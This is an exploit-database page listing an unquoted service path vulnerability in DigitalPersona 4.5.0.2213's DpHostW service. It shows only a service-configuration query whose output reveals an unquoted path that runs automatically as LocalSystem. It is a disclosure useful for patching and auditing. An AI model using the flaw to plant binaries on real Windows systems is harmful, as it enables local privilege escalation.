[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

DigitalPersona 4.5.0.2213 - (DpHostW) Unquoted Service Path Vulnerability

Author
SamAlucard
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-35195
Category
local exploits
Date add
09-11-2020
Platform
windows
#Exploit Title: DigitalPersona 4.5.0.2213 - 'DpHostW' Unquoted Service Path
#Exploit Author : SamAlucard
#Vendor : DigitalPersona  U. are U. One Touch
#Version : DigitalPersona Pro 4.5.0.2213
#Vendor Homepage :  https://www.hidglobal.com/crossmatch
#Tested on OS: Windows 10 Home

#Analyze PoC :
==============

C:\>sc qc DpHost
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: DpHost
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\DigitalPersona\Bin\DpHostW.exe
        GRUPO_ORDEN_CARGA  : BiometricGroup
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Servicio de autenticación biométrica
        DEPENDENCIAS       : RPCSS
        NOMBRE_INICIO_SERVICIO: LocalSystem

#  0day.today [2024-11-15]  #